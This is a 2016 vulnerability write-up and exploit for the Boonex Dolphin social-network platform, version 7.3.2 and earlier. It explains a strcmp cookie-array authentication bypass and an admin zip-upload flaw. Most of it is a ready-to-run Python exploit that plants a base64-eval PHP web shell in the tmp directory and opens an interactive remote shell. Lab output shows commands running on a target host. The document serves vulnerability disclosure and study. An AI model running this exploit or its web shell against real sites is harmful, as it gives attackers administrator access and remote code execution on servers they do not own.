Boonex dolphin <= 7.3.2 , Auth bypass / RCE exploit

November 14, 2016

Intro

From vendor website

Open-source software for creating custom social networks and web communities DolphinPro includes the site platform with thousands of features; iOS and Android apps; WebRTC Chat and media server software."

Vulnerabilies

Authentication bypass

File inc/admin.inc.php

162function check_login($ID, $passwd, $iRole = BX_DOL_ROLE_MEMBER, $error_handle = true)
163{
164    $ID = (int)$ID;
165 
166    if (!$ID) {
167        if ($error_handle)
168            login_form(_t("_PROFILE_ERR"), $member);
169        return false;
170    }
171 
172    switch ($iRole) {
173        case BX_DOL_ROLE_MEMBER: $member = 0; break;
174        case BX_DOL_ROLE_ADMIN:  $member = 1; break;
175    }
176 
177    $aProfile = getProfileInfo($ID);
178 
179    // If no such members
180    if (!$aProfile) {
181        if ($error_handle)
182            login_form(_t("_PROFILE_ERR"), $member);
183        return false;
184    }
185 
186    // If password is incorrect
187    if (strcmp($aProfile['Password'], $passwd) != 0) {
188        if ($error_handle)
189            login_form(_t("_INVALID_PASSWD"), $member);
190        return false;
191    }

At line 187 , the password from cookies ($passwd) is being compared with the administrator’s password ($aProfile[‘Password’]) using strcmp function

From http://php.net/manual/en/function.strcmp.php , strcmp is comparing strings and have 3 return conditions

  • If string1 < string2 , It return num < 0
  • If string1 > string2 , It return num > 0
  • If string1 = string2 , It return num 0

As mentioned , strcmp only compare strings , If you compared string with other input type you will get unpredictable result! That’s what we depend on here , providing an array in cookie password will result in comparison of the provided array with the normal administrator’s password , which will result in an comparison error and the function return will be 0 Which is also the expected result if both passwords were equal. so using cookies like memberID=1; memberPassword[]=0x4148 followed by moving to administration/index.php will get us just inside the admin panel

RCE

File inc/classes/BxDolFilesModule.php

300    function actionUpload($sType, $aFile, $aFtpInfo)
301    {
302      $sHost = htmlspecialchars_adv(clear_xss($aFtpInfo['host']));
303        $sLogin = htmlspecialchars_adv(clear_xss($aFtpInfo['login']));
304        $sPassword = htmlspecialchars_adv(clear_xss($aFtpInfo['password']));
305        $sPath = htmlspecialchars_adv(clear_xss($aFtpInfo['path']));
306
307        setParam('sys_ftp_host', $sHost);
308        setParam('sys_ftp_login', $sLogin);
309        setParam('sys_ftp_password', $sPassword);
310        setParam('sys_ftp_dir', $sPath);
311
312        $sErrMsg = false;
313
314        $sName = mktime();
315        $sAbsolutePath = BX_DIRECTORY_PATH_ROOT . "tmp/" . $sName . '.zip';
316        $sPackageRootFolder = false;
317
318        if (!class_exists('ZipArchive'))
319            $sErrMsg = '_adm_txt_modules_zip_not_available';
320
321        if (!$sErrMsg && $this->_isArchive($aFile['type']) && move_uploaded_file($aFile['tmp_name'], $sAbsolutePath)) {
322
323            // extract uploaded zip package into tmp folder
324
325            $oZip = new ZipArchive();
326            if ($oZip->open($sAbsolutePath) !== TRUE)
327                $sErrMsg = '_adm_txt_modules_cannot_unzip_package';
328
329            if (!$sErrMsg) {
330                $sPackageRootFolder = $oZip->numFiles > 0 ? $oZip->getNameIndex(0) : false;
331
332                if (file_exists(BX_DIRECTORY_PATH_ROOT . 'tmp/' . $sPackageRootFolder)) // remove existing tmp folder with the same name
333                    bx_rrmdir(BX_DIRECTORY_PATH_ROOT . 'tmp/' . $sPackageRootFolder);
334
335                if ($sPackageRootFolder && !$oZip->extractTo(BX_DIRECTORY_PATH_ROOT . 'tmp/'))
336                    $sErrMsg = '_adm_txt_modules_cannot_unzip_package';
337
338                $oZip->close();
339            }

Line 321 is responsible for uploading file to the tmp directory which have been assigned at line 315 Line 321 also check if the uploaded file is zip file or not If file uploaded and it’s zip file it’s being unzipped as it’s obvious from line 335 to the tmp directory then the zip file is deleted Great , then uploading zip file including malicious php file will lead to the extraction of the malicious php file into tmp/ directory

This function is being called via administration/modules.php

else if(isset($_POST['submit_upload']) && isset($_FILES['module']) && !empty($_FILES['module']['tmp_name']) && isset($aEnabledModuleAction['upload_module']))
	$sResultUpload = $oInstallerUi->actionUpload('module', $_FILES['module'], $_POST);
else if(isset($_POST['submit_upload']) && isset($_FILES['update']) && !empty($_FILES['update']['tmp_name']) && isset($aEnabledModuleAction['upload_update']))
	$sResultUpload = $oInstallerUi->actionUpload('update', $_FILES['update'], $_POST);

This action for sure require administrator privileges , that’s where our auth bypass flaw will help

Putting all together

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Software : Dolphin <= 7.3.2 Auth bypass / RCE exploit
Vendor : www.boonex.com
Author : Ahmed sultan (0x4148)
Home : 0x4148.com | https://www.linkedin.com/in/0x4148
Email : [email protected]
Auth bypass trick credit go to Saadat Ullah
'''
import os
import sys
import urllib
import urllib2
import ssl
import base64
print "[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit"
print "[+] Author : Ahmed sultan (0x4148)"
print "[+] Home : 0x4148.com\n"
if len(sys.argv)<2:
	print "\nUsage : python "+sys.argv[0]+" http://HOST/path/\n"
	sys.exit();
hosturl=sys.argv[1]
fields = {'csrf_token': 'Aint give a shit about csrf stuff ;)', 'submit_upload': '0x4148'}
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
def generate_http_request(fields):
	lmt = '---------------------------'
	crlf = '\r\n'
	x4148mltprt = []
	x4148mltprt.append('--' + lmt)
	if fields:
		for (key, value) in fields.items():
			x4148mltprt.append('Content-Disposition: form-data; name="%s"' % key)
			x4148mltprt.append('')
			x4148mltprt.append(value)
			x4148mltprt.append('--' + lmt)
	x4148mltprt.append('Content-Disposition: form-data; name="module"; filename="0x4148.zip"')
	x4148mltprt.append('Content-Type: application/zip')
	x4148mltprt.append('')
	x4148mltprt.append("PK\x03\x04\x0a\x00\x00\x00\x00\x00RanIj\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x000x4148fo.php"
	"<?php\x0d\x0aeval(base64_decode($_POST[\'0x4148\']));\x0d\x0a?>PK\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00RanIj"
	"\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x000x4148fo.php"
	"PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00:\x00\x00\x00[\x00\x00\x00\x00\x00")
	x4148mltprt.append('--' + lmt + '--')
	x4148mltprt.append('')
	body = crlf.join(x4148mltprt)
	content_type = 'multipart/form-data; boundary=%s' % (lmt)
	return content_type, body
content_type, body = generate_http_request(fields)
print " + Sending payload to "+hosturl.split("//")[1].split("/")[0]
req = urllib2.Request(hosturl+"/administration/modules.php",body)
req.add_header('User-agent', 'Mozilla 15')

req.add_header("Cookie", "memberID=1; memberPassword[]=0x4148;")
req.add_header('Referer', hosturl+"/administration/modules.php")
req.add_header('Content-Type', content_type)
req.add_header('Content-Length', str(len(body)))
req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')
try:
	urllib2.urlopen(req,context=gcontext).read()
except urllib2.HTTPError, e:
	err=e.fp.read()
	print err
	sys.exit()
print " * Checking if payload was send"
data = urllib.urlencode({'0x4148':'echo "0x4148foooo";'.encode('base64')})
req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
if urllib2.urlopen(req).read().find("0x4148foooo")==-1:
	print " - Exploitation failed"
	print req
	sys.exit()
print " + php prompt up and running\n + type 'shell' to get shell access"
while True:
	request=str(raw_input("\nphp>> "))
	if request=="exit":
		sys.exit()
	if request=="shell" or request=="cmd":
		print "\n + Switched to Shell mode\n + Type 'return' to return to php prompt mode"
		while True:
			cmd=str(raw_input("\n0x4148@"+hosturl.split("//")[1].split("/")[0]+"# "))
			if cmd=="return":
				break
			if cmd=="exit":
				sys.exit()
			kkk="passthru('"+cmd+"');"
			data = urllib.urlencode({'0x4148':kkk.encode('base64')})
			req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
			print urllib2.urlopen(req).read()
	data = urllib.urlencode({'0x4148':request.encode('base64')})
	req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
	print urllib2.urlopen(req).read()

and the result is

[root:/lab]# python dolphin.py
[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit
[+] Author : Ahmed sultan (0x4148)
[+] Home : 0x4148.com


Usage : python dolphin.py http://HOST/path/

[root:/lab]# python dolphin.py http://192.168.139.1/lab/Dolphin-v.7.3.2/Dolphin-v.7.3.2
[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit
[+] Author : Ahmed sultan (0x4148)
[+] Home : 0x4148.com

 + Sending payload to 192.168.139.1
 * Checking if payload was send
 + php prompt up and running
 + type 'shell' to get shell access

php>> system("dir");
 Volume in drive C is OS_Install
 Volume Serial Number is D60F-0795

 Directory of C:\xampp\htdocs\lab\Dolphin-v.7.3.2\Dolphin-v.7.3.2\tmp

11/14/2016  02:05 PM    <DIR>          .
11/14/2016  02:05 PM    <DIR>          ..
08/03/2016  12:00 AM               108 .htaccess
11/14/2016  02:05 PM                49 0x4148fo.php
               2 File(s)            157 bytes
               2 Dir(s)  37,965,479,936 bytes free


php>> shell

 + Switched to Shell mode
 + Type 'return' to return to php prompt mode

[email protected]# net user

User accounts for \\XXXXXXXXXX

-------------------------------------------------------------------------------
XXXXXXXXXX                   Administrator            DefaultAccount
Guest
The command completed successfully.



[email protected]# exit
[root:/lab]#

That’s it for today 🙂

Till another day, Ahmed


comments powered by Disqus